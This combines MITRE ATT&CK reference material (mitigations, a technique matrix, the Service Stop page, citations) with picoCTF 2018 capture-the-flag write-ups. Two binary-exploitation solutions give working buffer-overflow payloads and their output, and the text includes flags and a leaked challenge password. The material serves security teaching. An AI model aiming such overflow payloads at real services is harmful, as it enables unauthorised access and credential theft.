disabled. [26][27] Enterprise T Unsecured Credentials Preemptively search for files containing passwords or other credentials and take actions to reduce the exposure risk when found. . Credentials In Files Preemptively search for files containing passwords and take actions to reduce the exposure risk when found. . Credentials in Registry Proactively search for credentials within the Registry and attempt to remediate the risk. . Private Keys Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. . Group Policy Preferences Search SYSVOL for any existing GGPs that may contain credentials and remove them.[28] . Chat Messages Preemptively search through communication services to find shared unsecured credentials. Searching for common patterns like "password is ", "password=" and take actions to reduce exposure when found. Enterprise T . Use Alternate Authentication Material: Application Access Token Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Where possible, the ability to request temporary account tokens on behalf of another accounts should be disabled. Additionally, administrators can leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access. Enterprise T . User Execution: Malicious Image Audit images deployed within the environment to ensure they do not contain any malicious components. References - UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. - Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019. - National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022. - Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019. - McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. - Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023. - Microsoft. (n.d.). Get-InboxRule. Retrieved June 10, 2021. - Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. - Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020. - PowerSploit. (n.d.). Retrieved December 4, 2014. - Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. - Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016. - Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017. - Gerend, J. et al.. (2017, October 16). sxstrace. Retrieved April 26, 2021. - Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022. - Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022. - Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023. - Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Image File Integrity. Retrieved October 21, 2020. - Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Change Control. Retrieved October 21, 2020. - Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019. - Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019. - Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022. - HarmJ0y et al. (2021, June 16). PSPKIAudit. Retrieved August 2, 2022. - HarmJ0y et al. (2021, June 9). Certify. Retrieved August 4, 2022. - Microsoft. (2012, July 18). Preauthentication. Retrieved August 24, 2020. - Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020. - Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020. × load more results
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versions_v14_mitigations_M1047.txt
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parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure. Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_cdf08bf0} The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century. Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940. The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution". Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher. ``` **Flag** ``` picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_cdf08bf0} ``` ## Binary Exploitation 200: buffer overflow **Challenge** Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba on the shell server. [Source.](writeupfiles/vuln-buff-overflow-1.c) **Solution** Using an entirely manual binary search we find out which bytes we actually control: ``` hxr@pico-2018-shell-1:/problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab Okay, time to return... Fingers Crossed... Jumping to 0x Segmentation fault ... hxr@pico-2018-shell-1:/problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba Okay, time to return... Fingers Crossed... Jumping to 0x Segmentation fault ``` Ok, good. Now we have control of the return, we just need to point it to wherever the flag is printed? I guess that's the win function ``` $ objdump -x -d vuln .... 080485cb <win>: 80485cb: 55 push %ebp 80485cc: 89 e5 mov %esp,%ebp 80485ce: 83 ec 58 sub $0x58,%esp 80485d1: 83 ec 08 sub $0x8,%esp 80485d4: 68 50 87 04 08 push $0x 80485d9: 68 52 87 04 08 push $0x 80485de: e8 bd fe ff ff call 80484a0 <fopen@plt> 80485e3: 83 c4 10 add $0x10,%esp 80485e6: 89 45 f4 mov %eax,-0xc(%ebp) 80485e9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80485ed: 75 1a jne 8048609 <win+0x3e> 80485ef: 83 ec 0c sub $0xc,%esp ... ``` So we want to return to `0x080485cb` First I experimented with some known characters in order to figure out the byte mapping because little endian doesn't work with `xxd -r` ``` $ echo -n 'ÏÖ' | xxd -e # Little endian 00000000: 96c38fc3 .... $ echo -n 'ÏÖ' | xxd # Big endian 00000000: c38f c396 .... $ # 080485cb < our target string $ echo '00000000: cb85 0408' | xxd -r $ # And the mapping is a bunch of unprintable characters. ``` This needs to be prefixed with a known length of buffer so we'll just construct something xxd is happy with: ``` 00000000: 61616161 61616161 61616161 00000010: 61616161 61616161 61616161 00000020: 61616161 61616161 61616161 cb ``` And then run this on the server: ``` $ echo '00000000: 61616161 61616161 61616161 00000010: 61616161 61616161 61616161 00000020: 61616161 61616161 61616161 cb850408' | xxd -r | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy56a7b196}Segmentation fault ``` It works!!! **Flag** ``` picoCTF{addr3ss3s_ar3_3asy56a7b196}Segmentation fault ``` ## Cryptography 200: hertz **Challenge** This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with `nc 2018shell1.picoctf.com 12521`. **Solution** When we connect we are given a ciphertext ``` Yln mvsfi ugbxe abj tvkow bcng yln qrzd pbh. S fre'y unqsncn ylsw sw wvfl re nrwd ogbuqnk se Osfb. Sy'w rqkbwy rw sa S wbqcnp r ogbuqnk rqgnrpd! Bird, asen. Lngn'w yln aqrh: osfbFYA{wvuwysyvysbe_fsolngw_rgn_ybb_nrwd_whwhyeosub} ``` we input this to https://quipqiup.com/ and it decodes to ``` The quick brown fox jumps over the lazy dog. I can't believe this is such an easy problem in Pico. It's almost as if I solved a problem already! Okay, fine. Here's the flag: picoCTF{substitution_ciphers_are_too_easy_sgsgtnpibo} ``` **Flag** ``` picoCTF{substitution_ciphers_are_too_easy_sgsgtnpibo} ``` ## Binary Exploitation 200: leak-me **Challenge** Can you authenticate to [this service](writeupfiles/auth) and get the flag? Connect with nc 2018shell1.picoctf.com 31045. [Source](writeupfiles) ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; } ``` If we overflow the buffer for the `name` variable, we can get the flag ``` $ python -c 'print("a" * 300)' | nc 2018shell1.picoctf.com Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_d98e8d Incorrect Password! ``` so it output the password for this, we connect again and use the password to get our flag: ``` $ echo -e 'bla\na_reAllY_s3cuRe_p4s$word_d98e8d' | 2018shell1.picoctf.com What is your name? bla Hello bla, Please Enter the Password. picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872} ``` **Solution** **Flag** ``` picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872} ``` ## Forensics 200: now you don't **Challenge** We heard that there is something hidden in this picture. Can you find it?  **Solution** We extract the LSB of each of the colour channels using [this script](https://github.com/shiltemann/CTF-writeups-public/blob/master/_resources/code/stegano/extractlsb.py) and find the flag in the red channel: ```bash $ python3 extractlsb.py -i nowYouDont.png ``` This script outputs 3 black-and-white images, each signifying the least significant bit of each of the 3 RGB channels. the outputfile for the red channel, `nowYouDont_lsb_r.png`, contained the flag:  **Flag** ``` picoCTF{n0w_y0u_533_m3} ``` ## Reversing 200: quackme **Challenge** Can you deal with the Duck Web? Get us the flag from [this program](./writeupfiles/quackme) You can also find the program in /problems/quackme_0_29c1eeadf7509d3b370e5d76c6fa54e5. **Hints** Objdump or something similar is probably a good place to start. **Solution** ``` $ objdump -s -d -j .rodata writeupfiles/quackme writeupfiles/quackme: file format elf32-i Contents of section .rodata: 80487e8 03000000 01000200 596f7520 68617665 ........You have 80487f8 206e6f77 20656e74 65726564 20746865 now entered the 8048808 20447563 6b205765 622c2061 6e642079 Duck Web, and y 8048818 6f752772 6520696e 20666f72 20612068 ou're in for a h 8048828 6f6e6b69 6e272067 6f6f6420 74696d65 onkin' good time 8048838 2e0a4361 6e20796f 75206669 67757265 ..Can you figure 8048848 206f7574 206d7920 74726963 6b3f0000 out my trick?.. 8048858 2906164f 2b35301e 511b5b14 4b085d2b )..O+50.Q.[.K.]+ 8048868 5c100606 18455100 5d004e6f 206c696e \....EQ.].No lin 8048878 65207265 61642e2e 2e000000 6d616c6c e read......mall 8048888 6f632829 20726574 75726e65 64204e55 oc() returned NU 8048898 4c4c2e20 4f757420 6f66204d 656d6f72 LL. Out of Memor 80488a8 790a0059 6f752061 72652077 696e6e65 y..You are winne 80488b8 72210054 68617427 7320616c 6c20666f r!.That's all fo 80488c8 6c6b732e 00 lks.. Disassembly of section .rodata: 080487e8 <_fp_hw>: 80487e8: 03 00 00 00 .... 080487ec <_IO_stdin_used>: 80487ec: 01 00 02 00 59 6f 75 20 68 61 76 65 20 6e 6f 77 ....You have now 80487fc: 20 65 6e 74 65 72 65 64 20 74 68 65 20 44 75 63 entered the Duc 804880c: 6b 20 57 65 62 2c 20 61 6e 64 20 79 6f 75 27 72 k Web, and you'r 804881c: 65 20 69 6e 20 66 6f 72 20 61 20 68 6f 6e 6b 69 e in for a honki 804882c: 6e 27 20 67 6f 6f 64 20 74 69 6d 65 2e 0a 43 61 n' good time..Ca 804883c: 6e 20 79 6f 75 20 66 69 67 75 72 65 20 6f 75 74 n you figure
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CTF-writeups-public.txt
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Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Cloud Storage Object Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Group Policy Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Language Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Browser Session Hijacking Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Code Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Command-Line Interface Native Code Scheduled Task/Job Persistence Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Scheduled Task/Job Privilege Escalation Code Injection Device Administrator Permissions Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Hooking Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Proxy Through Victim Suppress Application Icon Uninstall Malicious Application User Evasion Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Call Control Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Call Control Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Call Control Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Service Stop Service Stop Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.[1][2] Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible [2]. In some cases, adversaries may stop or disable many or all services to render systems unusable.[1] Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.[3] ID: T Sub-techniques: No sub-techniques ⓘ Tactic: Impact ⓘ Platforms: Linux, Windows, macOS ⓘ Permissions Required: Administrator, SYSTEM, User ⓘ Impact Type: Availability Version: 1. Created: 29 March Last Modified: 02 March Version Permalink Live Version Procedure Examples ID Name Description S Avaddon Avaddon looks for and attempts to stop database processes.[4] S Babuk Babuk can stop specific services related to backups.[5][6][7] S Clop Clop can kill several processes and services related to backups and security solutions.[8][9] S Conti Conti can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop.[10] S Cuba Cuba has a hardcoded list of services and processes to terminate.[11] S EKANS EKANS stops database, data backup solution, antivirus, and ICS-related processes.[12][13][14] S HotCroissant HotCroissant has the ability to stop services on the infected host.[15] G Indrik Spider Indrik Spider has used PsExec to stop services prior to the execution of ransomware.[16] S Industroyer Industroyer’s data wiper module writes zeros into the registry keys in SYSTEM\CurrentControlSet\Services to render a system inoperable.[17] S KillDisk KillDisk terminates various processes to get the user to reboot the victim machine.[18] G Lazarus Group Lazarus Group has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.[19] S LookBack LookBack can kill processes and delete services.[20] S Maze Maze has stopped SQL services to ensure it can encrypt any database.[21] S MegaCortex MegaCortex can stop and disable services on the system.[22] S Netwalker Netwalker can terminate system processes and services, some of which relate to backup software.[23] S Olympic Destroyer Olympic Destroyer uses the API call ChangeServiceConfigW to disable all services on the affected system.[1] S Pay2Key Pay2Key can stop the MS SQL service at the end of the encryption process to release files locked by the service.[24] S Pysa Pysa can stop services and processes.[25] S Ragnar Locker Ragnar Locker has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.[26] S REvil REvil has the capability to stop services and kill processes.[27][28] S RobbinHood RobbinHood stops
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versions_v10_techniques_T1489.txt
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exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018. - Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021. - CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020. - Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017. - Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022. - Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021. - Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025. - Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020. - Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. - CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022. - Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020. - ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020. - Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022. - Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved November 17, 2024. - ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022. - CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024. - Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024. - Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016. - CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022. - Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024. - Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024. - SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024. - Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021. - ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018. - Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. - Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020. - Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019. - Black Lotus Labs. (2025, January 23). The J-Magic Show: Magic Packets and Where to find them. Retrieved February 17, 2025. - MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022. - Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020. - Hossein Jazi. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved January 10, 2024. - Ionut Arghire. (2021, February 24). New ‘LazyScripter’ Hacking Group Targets Airlines. Retrieved January 10, 2024. - Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. - Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024. - USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021. - Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022. - Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019. - Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021. - Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022. - ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. - Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. - kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020. - DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022. - DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023. - MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023. - Asheer Malhotra, Vitor Ventura & Jungsoo An, Cisco Talos. (2022, September 7). MagicRAT: Lazarus’ latest gateway into victim networks. Retrieved December 30, 2024. - Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. - Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020. - US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020. - Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020. - ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021. - Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. - Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016. - Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. - Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019. - Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021. - Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021. - Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024. - Andrew Northern. (2022, November 22). 